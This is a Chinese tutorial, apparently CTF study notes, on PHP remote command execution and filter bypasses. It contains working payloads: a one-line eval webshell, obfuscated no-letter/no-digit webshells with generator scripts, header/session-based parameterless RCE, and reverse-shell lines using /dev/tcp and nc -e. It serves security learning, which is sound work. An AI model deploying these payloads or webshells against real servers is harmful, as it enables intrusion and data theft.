RCE

RCE(remote command/code execute,远程命令执行)漏洞:以PHP为例,system、exec、shell_exec、passthu、popen、proc_popen等函数可以执行系统命令。当我们可以控制这些函数的参数时,就能运行我们想运行的命令,从而进行攻击。

命令拼接符号(Linux)

  • |:管道符,前面命令标准输出,后面命令的标准输入,或者说将前面的命令的输出内容作为后一个命令的标准输入,比如:

    1
    2
    3
    echo "JGZsYWc9WkxBUllZezJMNDd5WX0="|base64 -d
    输出内容:
    $flag=ZLARYY{2L47yY}

    当然,就算后面的命令不需要输入内容也可以执行:

    1
    2
    3
    echo "You are "|whoami
    输出内容:
    ZLARYY //whoami命令执行的结果,可以看到不会输出前面的命令执行的内容
  • &:将前面的命令放在后台执行,不等前面的命令执行结束就开始执行后面的命令,还有一种用法是在一行命令末尾加上&符号使其放在后台运行,比如下载文件……:

    1
    2
    3
    4
    5
    6
    echo "flag=ZLARYY"&echo "{2L47yY}"
    输出内容:
    [1] 2354 //[1]表示任务编号,是当前终端回话中开启的第一个后台任务,可以通过jobs命令查看,2354为进程ID(PID,Process ID),可以通过kill 2354来强制停止这个任务
    {2L47yY} //这个是后面的前台命令执行的结果

    flag=ZLARYY //前面的后台命令执行的结果
  • ||:逻辑或,只有前面的命令执行失败才会执行后面的命令:

    1
    2
    3
    4
    5
    6
    7
    8
    echo "ZLARYY"||echo "can I be exeuted?"
    输出内容:
    ZLARYY

    cat /flag.txt || echo "找不到 flag 文件!"
    输出内容:
    cat: /flag.txt: No such file or directory
    找不到 flag 文件!
  • &&:逻辑与,只有前面的命令执行成功才会执行后面的命令:

    1
    2
    3
    4
    5
    6
    7
    8
    echo "ZLARYY"&&echo "sure I can be exeuted!"
    输出内容:
    ZLARYY
    sure I can be exeuted!

    cat /flag.txt&&echo "can I be executed?"
    输出内容:
    cat: /flag.txt: No such file or directory
  • ;:顺序执行,不论前面的命令执行是否成功,都会先执行前面的命令再执行后面的命令:

    1
    2
    3
    4
    echo "ZLARYY";echo "{2L47yY}"
    输出内容:
    ZLARYY
    {2L47yY}
  • $()和` :把括号或反引号里面的命令先执行,然后把它的输出结果当作字符串拼接到外层命令中:

    1
    2
    3
    echo "You are $(whoami)"
    输出内容:
    You are ZLARYY //将$()替换为``输出结果相同
  • ():子shell运行,在一个全新且独立的子环境中执行,不会影响当前环境的变量或目录:

    1
    2
    (cd /tmp;ls)
    //输出内容是ls /tmp的内容,但不会改变当前环境所在目录
  • {}:和()类似,把命令组合起来但是是在当前环境中执行:

    1
    2
    3
    { cd /tmp;ls; }
    //输出内容为ls /tmp,并且目录跳转到/tmp
    该符号使用必须在大括号内前后加上空格,并且最后一个命令必须加上分号

系统命令连接符(windows)

  • &:先执行前面的命令,再执行后面的命令:
1
echo "ZLA"&echo "RYY"
  • &&:逻辑与,只有前面的命令执行成功才会执行后面的命令:

    1
    2
    3
    sort flag.txt&&echo "can I be executed?"

    echo "sure I can be executed!"&&echo "can I be executed?"
  • |:把前一个命令的输出结果当作后一个命令的标准输入:

    1
    dir|findstr  "flag.txt"
  • ||:逻辑或,只有前面的命令执行失败才会执行后面的命令:

    1
    2
    3
    sort flag.txt||echo "can I be executed?"

    echo "sure I can be executed!"||echo "can I be executed?"

系统命令执行函数

system()

其作用是把当前正在运行的程序暂停后让底层操作系统(windows的CMD或Linux的Bash)执行一条系统命令之后返回结果

1
system(string $command, int &$result_code = null): string|false
  • $command:要执行的系统命令

  • $result_code:可选参数,存储命令执行后的返回状态码

  • 返回值:成功返回输出的最后一行,失败返回false

1
2
3
<?php
highlight_file(__FILE__);
system("echo ZLARYY");

这段代码展现了system()的命令执行功能

1
2
3
4
<?php
highlight_file(__FILE__);
system("echo ZLARYY",$return);
echo "</br>".$return;
1
2
3
4
<?php
highlight_file(__FILE__);
system("cat /flag",$return);
echo "</br>".$return;

可以看到,前面的命令执行成功的话返回状态码为0,失败则返回1,并且就算命令执行失败也不影响后续代码执行

除此之外,system函数可以将命令执行的结果直接返回到界面上:

1
2
3
4
<?php
highlight_file(__FILE__);
system("sort flag.txt",$return);
echo "</br>".$return;

passthru()

passthru()是php中用于执行外部程序并直接输出原始结果的函数,与system()函数差不多

1
passthru(string $command, int &$result_code = null): ?false
  • $command:为要执行的系统命令字符串
  • $result_code: 可选,用于接收命令的退出状态码
  • 成功返回null,失败返回 false
1
2
3
4
<?php
highlight_file(__FILE__);
passthru("sort flag.txt",$return);
echo "</br>".$return;

不过相较于system()函数,passthru()可以把原始的二进制流正确地传给浏览器显示或下载

1
2
3
<?php
header("Content-Type: image/png");
passthru("type avertar.png");

最后你能打开浏览器看到图片文件

exec()

相较于system()和passthru(),exec()只会将命令输出的最后一行作为函数的返回值,如果想得到完整输出内容 需要给他提供一个数组变量作为第二个参数,将每一行结果存储进去

1
2
3
<?php
highlight_file(__FILE__);
exec("echo ZLARYY");

由于我们在cmd中执行echo命令最终执行内容其实为:

1
2
ZLARYY

最后一行为空

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
exec("echo ZLARYY",$array);
var_dump($array);
echo "</br>";
echo exec("echo ZLARYY");

可以用var_dump或者print_r打印数组

shell_exec()

该函数可以将命令的完整输出作为字符串返回,但和exec函数一样不会主动返回

1
shell_exec(string $command): string|false|null
1
2
3
<?php
highlight_file(__FILE__);
echo shell_exec("type flag.txt");

popen()

popen就是pipe open,该函数不会返回命令执行结果,而是返回一个文件指针,但是命令已经执行

1
popen(string $command, string $mode): resource|false
  • $command:要执行的系统命令,可包含参数及重定向(如2>&1捕获错误输出)。
  • $mode:”r”表示从进程读取(STDOUT),”w”表示向进程写入(STDIN)。在 Windows 下可用 “rb” / “wb” 避免换行符转换。
  • 返回值是一个类似fopen()的文件指针,但必须用pclose()关闭。
1
2
3
4
5
6
<?php
highlight_file(__FILE__);
$a = popen("sort flag.txt","r");
var_dump($a);
$b = stream_get_contents($a);
echo "</br>".$b;

可以使用stream_get_contents()函数或者fread()

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
$a = popen("sort flag.txt","r");
var_dump($a);
$b = fread($a,4096);
echo "</br>".$b;

在实际应用popen函数中要记得使用pclose关闭pipe

proc_open()

proc_open和popen两个函数的区别在于:popen函数只能建立单向的pipe(要么只能读”r”,要么只能写”w”),如果命令执行报错可能拿不到报错信息,而proc_open不仅能和底层操作系统建立进程联系,还能一次性接通三个pipe:

1
2
3
标准输入 (Stdin - 0号管):你可以通过这根管子,源源不断地给程序发送指令或数据。
标准输出 (Stdout - 1号管):你可以通过这根管子,读取程序正常执行返回的结果。
标准错误 (Stderr - 2号管):如果程序执行报错了(比如命令打错了、文件不存在),报错信息会专门从这根管子流出来!

相较于其他函数,proc_open明显要麻烦许多:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
//定义管道配置图
$descriptorspec = array(
0 => array("pipe","r"), //标准输入 (stdin):给命令喂数据
1 => array("pipe","w"), //标准输出 (stdout):接收命令正常的返回结果
2 => array("pipe","w") //标准错误 (stderr):接收命令的报错信息
);
//让php连接底层操作系统,并按管道配置图中接好的三根实体pipe放进$pipes这个数组
$process = proc_open('sort flag.txt',$descriptorspec,$pipes);
//用stream_get_contents()函数读取流中的内容
$output = stream_get_contents($pipes[1]);
$error = stream_get_contents($pipes[2]);
var_dump($process);
//输出结果
echo "</br>".$output;

当然也可以使用fread():

1
$output=fread($pipes[1]);

当我把flag.txt替换为/flag(实际不存在),也能实现报错:

1
$error=stream_get_contents($pipes[2]);

利用$pipes[0],我们还可以实现动态给sort命令写入数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file(__FILE__);
$descriptorspec = array(
0 => array("pipe","r"),
1 => array("pipe","w"),
2 => array("pipe","w")
);
$process = proc_open('sort',$descriptorspec,$pipes);

fwrite($pipes[0],"A\r\n");
fwrite($pipes[0],"C\r\n");
fwrite($pipes[0],"B\r\n");
fclose($pipes[0]);

$output = fread($pipes[1],4096);
$error = stream_get_contents($pipes[2]);
var_dump($process);
echo "</br>".$output;
echo "</br>".$error;

sort这个命令后续详细再提,在这里它的功能是按首字母进行排序,这里不用flag.txt是因为根本不会去执行sort flag.txt这个命令,因为你传进去的数据作为标准输入,而不是命令行参数

pcntl_exec()

pcntl 全称是 **Process Control (进程控制)**,直接调用了操作系统的核心系统调用(在 Linux 下底层就是 execve),它是专门为 Linux/Unix (POSIX 兼容) 系统设计的扩展,所以在windows环境下无法使用这个函数

1
pcntl_exec(string $path, array $args = [], array $env_vars = []);
  • $path: 可执行文件的路径,或者包含解释器路径的脚本(如 #!/usr/bin/php)。
  • $args: 传递给程序的参数数组。
  • $env_vars: 传递给程序的环境变量数组,格式为 key => value。

调用pcntl_exec后,当前进程会被替换为指定的程序,原进程的代码段、数据段和堆栈段都会被新程序替换,但进程号保持不变。

1
2
3
<?php
pcntl_exec("/bin/cat",array("flag.txt"));
?>

执行到pcntl_exec之后,php脚本会消散而被bash身份取代

可以利用这个函数进行反弹shell:

1
2
3
4
<?php
// PHP,请你立刻去死,并转生为一个连接10.0.0.1的Bash终端!
pcntl_exec("/bin/bash", array("-c", "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"));
?>

eval

eval这个东西不属于系统命令执行函数一类,他可以将参数作为php代码来执行,但他又不属于函数一类,而是与echo,if,while等一类的语言结构,就连disable_function都限制不了

对于eval的应用还是特别常见的:

1
<?php @eval($_POST['cmd']);?>  //一句话木马

当我们传入:

1
2
cmd=ls
cmd=cat flag

就能实现目录穿越和文件查看了

1
2
3
<?php
highlight_file(__FILE__);
eval('system("sort flag.txt");');

assert

assert,翻译叫做断言,属于一个标准函数

1
2
assert($a==1)
如果$a的确等于1,那就不会发生什么,反之报错退出

但如果assert里面的内容不是判断语句,那么他就会像eval一样把字符串当作php代码执行。

1
2
3
<?php
highlight_file(__FILE__);
assert('system("sort flag.txt");');

preg_replace

这个函数原本是用来做正则表达式搜索和替换的:

1
2
3
4
5
<?php
highlight_file(__FILE__);
$flag='flag{2L47yY}';
echo preg_replace("/flag/","ZLARYY",$flag);
//将$flag中的flag替换为ZLARYY

不过在\e修饰下的preg_replace函数,php不会把替换后的内容当作普通字符串,而是当作php代码执行

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
$flag='flag{2L47yY}';
echo "<pre>";
preg_replace("/.*/e","system('type flag.txt');",$flag);
//.表示任意一个字符,*表示重复0次或无数次

这里输出两次是由于preg_replace进行了两次替换,第二次替换是将$flag字符串末尾的空字符替换了。

注意:替换后的内容现需要有返回值 ,否则会出现报错

1
2
3
4
<?php
highlight_file(__FILE__);
$flag='flag{2L47yY}';
preg_replace("/.*/e","echo 1",$flag);

这是由于我无法把echo 1赋值给一个变量,所以需要system函数提供返回值

php可变函数

php可变函数源自于php中的一个规则:如果在一个变量的后面加上一对圆括号 (),PHP 就会自动去寻找与这个变量的值同名的函数,并尝试执行它,注意:找的是同名函数,eval和echo这种语言结构不适用

1
2
3
4
5
<?php
highlight_file(__FILE__);
$func=$_GET['a'];
$arg=$_GET['b'];
$func($arg);
1
$func->system $arg->'type flag.txt'理解起来不难,最后一行代码变成了system('type flag.txt');

create_function

create_function最开始作用是创建函数:

1
2
3
4
<?php
highlight_file(__FILE__);
$add=create_function('$a,$b','return $a+$b;');
echo $add(10,20);

不过他的底层逻辑实际上是这样:

1
eval("function \0lambda_1($a,$b){return $a+$b;}")

所以如果create_function内部参数可控的话,可以构造字符串闭合掉原本的function执行其他代码:

1
2
3
4
5
<?php
highlight_file(__FILE__);
$name=$_GET['name'];
$a=create_function('','echo "'.$name.'";');
$a();

但如果我传入:

1
?name=ZLARYY";} system("type flag.txt");/*

显然成功执行了后面的代码

call_user_func()

这个函数理解起来也挺好的,他有两个参数,第一个参数为函数名,第二个参数为函数内部的参数:

1
2
3
<?php
highlight_file(__FILE__);
call_user_func('system','echo ZLARYY');

实际上就是执行了system('echo ZLARYY');

1
2
3
4
5
<?php
highlight_file(__FILE__);
$func=$_GET['a'];
$arg=$_GET['b'];
call_user_func($func,$arg);

话说是不是很像php可变函数

call_user_func_array

这个函数与call_user_func函数差不多,只是他的第二个参数变成需要传入一个数组进去:

1
2
3
4
5
<?php
highlight_file(__FILE__);
$func=$_GET['a'];
$arg=$_GET['b'];
call_user_func_array($func,$arg);

也就是说需要传入

1
/?a=system&b[]=type flag.txt

array_map

该函数的作用是把一个函数作用到数组的每一个元素中:

1
2
3
4
5
6
7
8
9
10
11
<?php
// 一个普通的转换函数 (PHP 内置函数,转大写)
$func = 'strtoupper';
$data = array('a', 'b', 'c');

// array_map 开始工作:把 strtoupper 挨个作用于 'a', 'b', 'c'
$result = array_map($func, $data);

print_r($result);
// 输出:Array ( [0] => A [1] => B [2] => C )
?>

那么我们就可以利用它一次执行多个命令:

1
2
3
4
5
<?php
highlight_file(__FILE__);
$func=$_GET['a'];
$arg=$_GET['b'];
array_map($func,$arg);

%26是&的URL编码,这里在传参只能用%26而不能用&连接

常规绕过

我们已经了解了RCE漏洞相关的函数和语言结构,现在可以看看一些常规的过滤绕过技巧了:

空格过滤

  1. 如果是web传参,可以用%09%20等URL编码代替

  2. 可以用$IFS$1-9代替

  3. ${IFS}或者<>代替

  4. 花括号{}

    1
    2
    3
    {sort,flag.txt}
    //单命令最后也需要加上逗号
    {ls,}

注:windows系统下测试${IFS}一类会失败,这些仅限于Linux的Bash

关键字过滤

  1. base64编码绕过

    1
    2
    echo "c29ydCBmbGFnLnR4dA=="|base64 -d|sh
    //利用管道符的标准输出与标准输入,实际上执行sort flag.txt
  2. hex编码绕过

    1
    2
    3
    echo "736f727420666c61672e7478740a"|xxd -r -p|sh

    echo "sort flag.txt"|xxd //这行命令可以输出hex编码

    如果服务器没有xxd命令可以使用$()命令替换等:

    1
    2
    3
    4
    5
    $(printf "\x73\x6F\x72\x74\x20\x66\x6C\x61\x67\x2E\x74\x78\x74")

    `printf "\x73\x6F\x72\x74\x20\x66\x6C\x61\x67\x2E\x74\x78\x74"`

    printf "\x73\x6F\x72\x74\x20\x66\x6C\x61\x67\x2E\x74\x78\x74"|sh
  3. 拼接绕过

    这个技巧在一些时刻可以用于拼接assert,但是不能用于拼接eval

    1
    2
    //假如过滤了sort
    a=so;b=rt;$a$b flag.txt
  4. %0a绕过绕过;

    1
    2
    ls%0acat /flag
    //可以同时执行ls和cat命令
  5. 内联执行

    1
    2
    echo "a `sort flag.txt`"
    //命令行会先执行反引号里面的内容,再输出内容拼接到外层
  6. 引号截断

    1
    2
    sort fl""ag.txt
    sort fl''ag.txt
  7. 通配符代替

    1
    2
    3
    4
    5
    ?可以用来代替匹配一个字符
    *可以用来匹配多个字符

    sort fl??????
    sort fl*
  8. 反斜杠转义

    1
    2
    so\rt fl\ag.txt
    //过滤了sort和flag字符
  9. 方括号[]

    1
    2
    sort fl[a]g.txt
    //不可用于sort等关键字

无字母无数字RCE

异或

如果题目要求不能使用字母和数字:

1
preg_replace('/[a-z0-9]/is',$_GET['cmd'])

可以采用异或运算:

1
如果a,b两个值不相同则异或结果为1,相同则为0
1
2
3
<?php
highlight_file(__FILE__);
echo "5"^"Z";

这里的结果显示5和Z的异或结果为o,具体原理如下:

1
2
3
5的二进制:00110101
Z的二进制:01011010
按位进行异或运算:01101111 -> 解码结果为o

所以我们可以通过其他字符比如%$*&等经过异或运算得到字母数字

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);
function o(){
echo "ZLARRY";
}
$_="5"^"Z";
$_();

在做无字母无数字RCE还有一个技巧就是用_来命名

这里给出橙子科技的异或运算脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
header("content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);
$shell = $_GET['cmd'];
$result1="";
$result2="";

function judge($c){
if(!preg_match('/[a-z0-9]/is',$c)){
return true;
} return false;
}
for($num=0;$num<strlen($shell);$num++){
for($x=33;$x<=126;$x++){
if(judge(chr($x))){
for($y=33;$y<=126;$y++){
if(judge(chr($y))){
$f = chr($x)^chr($y);
if($f == $shell[$num]){
$result1.=chr($x);
$result2.=chr($y);
break 2;
}
}
}
}
}
}
echo "</br>";
echo "异或运算第一部分:".$result1;
echo "</br>";
echo "异或运算第二部分:".$result2;

传入cmd为需要的字符串就可以得到结果

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
error_reporting(0);
if(!preg_replace('/0-9a-z/is',$_GET['cmd'])){
eval($_GET['cmd']);
}

比如这道题目就可以用异或出来的两部分:

1
2
3
异或运算第一部分:+(+).&/
异或运算第二部分:[@[@@@@
//构造phpinfo

然后传入:

1
2
/?cmd=$_="%2B(%2B).%26%2F"^"%5B%40%5B%40%40%40%40";$_();
//经过URL编码

如果我们希望执行其他一些RCE命令,可以通过写一句话木马(php5条件下):

1
2
3
4
5
6
<?php
$_='assert'; //assert替换为"!((%)("^"@[[@[\"
$__='_POST'; //_POST替换为"!+/(("^"~{`{|"
$___=$$__;
$_($___['_']);
?>
1
2
3
4
5
6
<?php
$_="!((%)("^"@[[@[\\"; //这里需要多加一个反斜杠转义\,否则会出错
$__="!+/(("^"~{`{|";
$___=$$__;
$_($___['_']);
?>

这样我们就可以post提交ls,cat /flag等命令

此外还需要进行URL编码

php7条件下不能使用assert,但可以使用``` 反引号 : $_POST['_'] 但是没有回显

1
2
3
4
5
<?php
$_="!+/(("^"~{`{|";
$__=$$_;
`$__[_]`;
?>

所以可以采用反弹shell:

1
2
3
4
kali上开启监听:
nc -lvp 7777
POST提交:
_=nc [ip] 7777 -e /bin/bash

取反

具体思路与异或差不多,取反顾名思义就是按位将1变为0,将0变为1

1
~()会对括号里面的内容进行取反
1
2
3
<?php
$a='a';
echo bin2hex($a);

这串代码输出a的 ASCII码结果为61,对应二进制为01100001,经过取反后变成10011110对应十六进制为9E,但是由于ASCII码十六进制最大为7F,故%9E这个字符其实不存在

1
2
3
4
5
<?php
$a='%9E';
$b=~(urldecode($a));
echo $b;
//输出内容为a

但是经过取反可以看到输出了字母a,就可以实现无字母绕过

此外橙子科技 给了一种中文字符串的方法:

1
2
3
4
5
6
<?php
$a="极";
echo bin2hex($a);
echo ~($a{1});
//这串代码输出结果前一行为e69e81,0位e6,1位9e,2位81
//所以最后取反$a{1}其实就是取反$a的1位9e,即~(9e)结果为a

这个的payload老长一串,想一下还是用URL编码的poc吧(php5):

1
2
3
4
5
6
<?php
$_=~("%9e%8c%8c%9a%8d%8b"); //assert
$__=~("%a0%af%b0%ac%ab"); //_POST
$___=$$__;
$_($___['_']);
?>

php7条件下还是用反引号:

1
2
3
4
5
<?php
$_=~("%a0%af%b0%ac%ab");
$__=$$_;
`$__['_']`;
?>

然后还是使用shell反弹

自增

1
2
3
4
<?php
$a=A;
echo ++$a;
?>

这串代码输出结果为B,利用这个原理我们可以实现绕过,只要获取A我们就可以获得其他字母

1
2
++$a //先累加再输出
$a++ //先输出再累加

获取A的方法:

1
2
3
4
<?php
$_=[].'';
echo $_[0];
?>

原因是[]本来作为一个数组,后面用.拼接上字符串后var_dump结果就变成了字符串Array

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);
$_=[];
var_dump($_);
$__=[].'';
echo "</br>";
var_dump($__);

那么我们就可以通过$_[0]获取字母A

但是又由于无数字,所以还需要稍作修改:

1
2
3
4
5
<?php
$_=[].'';
echo $_[$__];
//$__变量不存在,假值0
?>

橙子科技的自增脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php
highlight_file(__FILE__);
$cmd=strtoupper($_GET['cmd']);
$cmd2=strtoupper($_GET['post']);
function POC($cmd){
$i=0;
$POC_pat1="\$__=\$___;";
$POC_pat2="\$_.=\$__;";
while ($i<strlen($cmd)){
$str1=$cmd[$i];
$POC1=base_convert(bin2hex("A"),16,10);
if($i<1){
$POC_pat3=str_repeat("++\$__;",$POC1);
echo $POC_pat3;
}else{
$str2=$cmd[$i-1];
if($str1==$str2){
$POC_pat5=$POC_pat2;
echo $POC_pat5;
}else{
$POC_pat6=$POC_pat1.str_repeat("++\$__;",$POC1).$POC_pat2;
echo $POC_pat6;
}
}
$i++;
}
}

function POC2($cmd){
$i=0;
echo '$____ = "_";$__=$___;';
$POC_pat1="\$__=\$___;";
$POC_pat2="\$____.=\$__;";
while ($i<strlen($cmd)){
$str1=$cmd[$i];
$POC1=base_convert(bin2hex($str1),16,10)-base_convert(bin2hex("A"),16,10);
if($i<1){
$POC_pat3=str_repeat("++\$__;",$POC1).$POC_pat2;
echo $POC_pat3;
}else{
$str2=$cmd[$i-1];
if($str1==$str2){
$POC_pat5=$POC_pat2;
echo $POC_pat5;
}else{
$POC_pat6=$POC_pat1.str_repeat("++\$__;",$POC1).$POC_pat2;
echo $POC_pat6;
}
}
$i++;
}
}

if(!empty($cmd)){
$POC_pat7 = "\$_=[].'';\$___=\$_[\$__];\$__=\$___;\$_=\$___;";
echo $POC_pat7;
POC($cmd);
}
if(!empty($cmd2)){
POC2($cmd2);
}

传入:

1
/?cmd=assert&post=POST

结果为:

1
$_=[].'';$___=$_[$__];$__=$___;$_=$___;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_.=$__;$_.=$__;$__=$___;++$__;++$__;++$__;++$__;$_.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_.=$__;$____ = "_";$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__;

上面这一大段内容中就存在了assert和POST

1
2
3
4
$_=[].'';$___=$_[$__];$__=$___;$_=$___;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_.=$__;$_.=$__;$__=$___;++$__;++$__;++$__;++$__;$_.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_.=$__;$____ = "_";$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__;

$__=$$____;
$_($__['_']);

最后两行就是$_POSTassert($_POST['_'])

记得需要URL编码

php7只需要获得一个POST(前提是得先获得A):

1
传入/?cmd=a&post=POST
1
2
3
4
$_=[].'';$___=$_[$__];$__=$___;$_=$___;$____ = "_";$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__;

$_=$$____;
`$_`;

无参数RCE

题目如下:

1
2
3
4
5
6
7
<?php
error_reporting(0);
highlight_file(__FILE__);
if(';'===preg_replace('/[^\W]+\((?R)?\)/','',$_GET['code'])){
eval($_GET['code']);
}
?>
1
preg_replace('/[^\W]+\((?R)?\)/','',$_GET['code'])

其中这段代码:

1
2
3
正则表达式[^\W]匹配字母数字下划线[A-Za-z0-9_]
[^\W]+\((?R)?\)匹配到"a()"形式的字符串,但是()里面不能出现任何参数
(?R)代表递归,即a(b(c()))都能匹配
1
2
3
4
5
6
7
8
9
10
<?php
error_reporting(0);
highlight_file(__FILE__);
$c="ZLARYY";
$d="ZLARYY()";
$e="ZLARYY(2L47yY)";
$a=preg_replace('/[^\W]+\((?R)?\)/','',$c);
$b=preg_replace('/[^\W]+\((?R)?\)/','',$d);
$f=preg_replace('/[^\W]+\((?R)?\)/','',$e);
echo $a."</br>".$b."</br>".$f;

可以看到这个匹配只把第二项替换为空,而题目的意思是如果被替换后的字符串只剩下分号,那么就放进去执行eval

请求头绕过

1
2
3
getallheaders():获取所有HTTP请求标头
pos():获取数组第一项的值
end():获取数组最后一项的值

但是我们需要用print_r打印结果

使用view-source查看就是这样:

调用pos()函数获取getallheaders()返回数组的第一项内容,得到的却是Connection里面的内容,这里就是无参数RCE漏洞的利用地方了:

1
2
3
4
5
Connection: system("sort flag.txt");
//通过这样修改可以将最后的code变为:
code=print_r(system("sort flag.txt"););
//如果我们将pirnt_r换成eval,那么就可以执行命令:
code=eval(system("sort flag.txt"););

除了修改Header,还可以添加Header:

1
apache_request_headers()功能与getallheaders()相似,适用于Apache服务器

全局变量(php5/7)

1
2
get_defined_vars():返回所有已定义变量的值所组成的数组
返回数组顺序为GET->POST->COOKIE->FILES

之后我们可以通过添加传参数量来增加变量键值对

其实从前两张图不难看出结果是两个数组嵌套,上一张图片我采用了pos获取了数组中的第一个数组,现在我还想要获取这个数组中的最后一项的值,可以采用调用end函数:

那么和请求头绕过一样,我们可以将print_r改为eval就可以了:

session

1
2
session_start():启动新会话或者重用现有会话,成功开始会话会返回TRUE,反之返回FALSE
session_id():可以获取PHPSEEID的值

这样我们是不是就可以通过burp修改PHPSESSID为执行命令的函数来实现RCE了:

貌似不行,不过修改为flag.txt倒是能按预期显示:

那就好办了:

1
show_source():可以查看括号内文件名所含的文件内容

不过如果想要执行eval的话也可以:

1
需要先把命令HEX编码转为十六进制写入PHPSESSID,再用hex2bin函数将十六进制转为二进制,用eval执行

其中PHPSESSID是system(“sort flag.txt”);的编码结果

scandir读取

scandir()

1
scandir():类似ls,在某文件路径下,把内容以列表形式显示出来
1
2
3
4
<?php
highlight_file(__FILE__);
print_r(scandir('.'));
//scandir里面必须要有路径

getcwd()

1
getcwd():类似pwd,获取当前工作目录路径

current()与next()

1
2
current():返回数组的第一个内容,与pos()类似
next():把数组中的第二个内容显示出来

array_reverse()

1
array_reverse():按照倒序重新排列数组

array_flip()与array_rand()

1
2
array_flip():将数组中的键名与值对换
array_rand():从数组中随机取出一个或多个随机键

每一次刷新界面都可能改变产生的随机值

chdir()

1
chdir():系统调用函数,同cd,用于改变当前工作目录

如果是确定了路径返回为1,否则返回为0

strrev()

1
strrev():用于反转给定的字符串

crypt()

1
crypt():用于加密,目前Linux平台上的加密方法大致有MD5,DES,3 DES

hebrevc()

1
hebrevc():把希伯来文本从右至左的流转换为从左至右的流

localeconv()

1
localeconv():查看当前目录名

这个数组的第一个键值对的值为一个点.,可以用current()获得,配合上scandir()就可以查看当前目录下的所有文件:

1
2
3
<?php
highlight_file(__FILE__);
print_r(scandir(current(localeconv())));

这里为了方便,我把php文件和flag.txt放在了flag文件夹里

那么我们可以采用这种方法:

1
print_r(array_reverse(scandir(current(localeconv()))));

用array_reverse把数组倒序排列之后我们就可以再用current()和show_source读取到文件内容了:

1
show_source(current(array_reverse(scandir(current(localeconv())))));

dirname()

1
dirname():可以把上一个目录的绝对路径输出

那么我想查看上级目录就可以用到:

1
print_r(scandir(dirname(getcwd())));

不过这种条件下我们不能使用show_source来查看文件,因为show_source是基于当前页面路径来的,一定要查看的话就只能使用chdir()了

1
/?code=print_r(chdir(dirname(getcwd())));

返回1说明目录跳转到上级成功

1
/?code=print_r(scandir(dirname(chdir(dirname(getcwd())))));

我的理解就是后半部分为chdir跳转目录的参数,与实际是否跳转目录无关,最后再dirname帮助用户从视觉上跳转到上级目录,这样就可以用show_source查看文件了

那像这种情况,我想读取的文件既不在开头又不在末尾,就可以使用array_flip和array_rand

1
/?code=print_r(array_flip(array_rand(scandir(dirname(chdir(dirname(getcwd())))))));

这样虽然是随机的,但是多刷新几次总会能用show_source查看到的:

1
2
/?code=show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
//由于没有把flag.txt转移出来,将就看咯^ _ ^

根目录

我想回到根目录怎么操作:

1
2
3
4
5
/?code=print_r(array());
/?code=print_r(serialize(array()));
//用serialize序列化
/?code=print_r(crypt(serialize(array())));
//crypt单向字符串三列加密,结果随机

